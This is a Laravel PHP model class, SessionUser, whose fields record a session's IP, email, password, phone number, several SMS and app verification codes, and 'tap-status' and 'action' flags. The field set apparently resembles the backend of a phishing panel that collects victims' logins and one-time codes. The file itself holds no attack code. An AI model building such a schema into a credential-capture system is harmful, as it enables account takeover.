<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class SessionUser extends Model
{
    protected $table = 'users';

    public $timestamps = true;

    const UPDATED_AT = 'updated_at';
    const CREATED_AT = 'created_at';

    protected $fillable = [
        'session_id', 'status', 'ip', 'email', 'password', 'phone',
        'smsCode', 'appCode', 'phonenumber', 'topcode', 'smscode1',
        'tap-status', 'action',
    ];

    protected $casts = [
        'is_banned' => 'boolean',
        'is_online' => 'boolean',
    ];
}
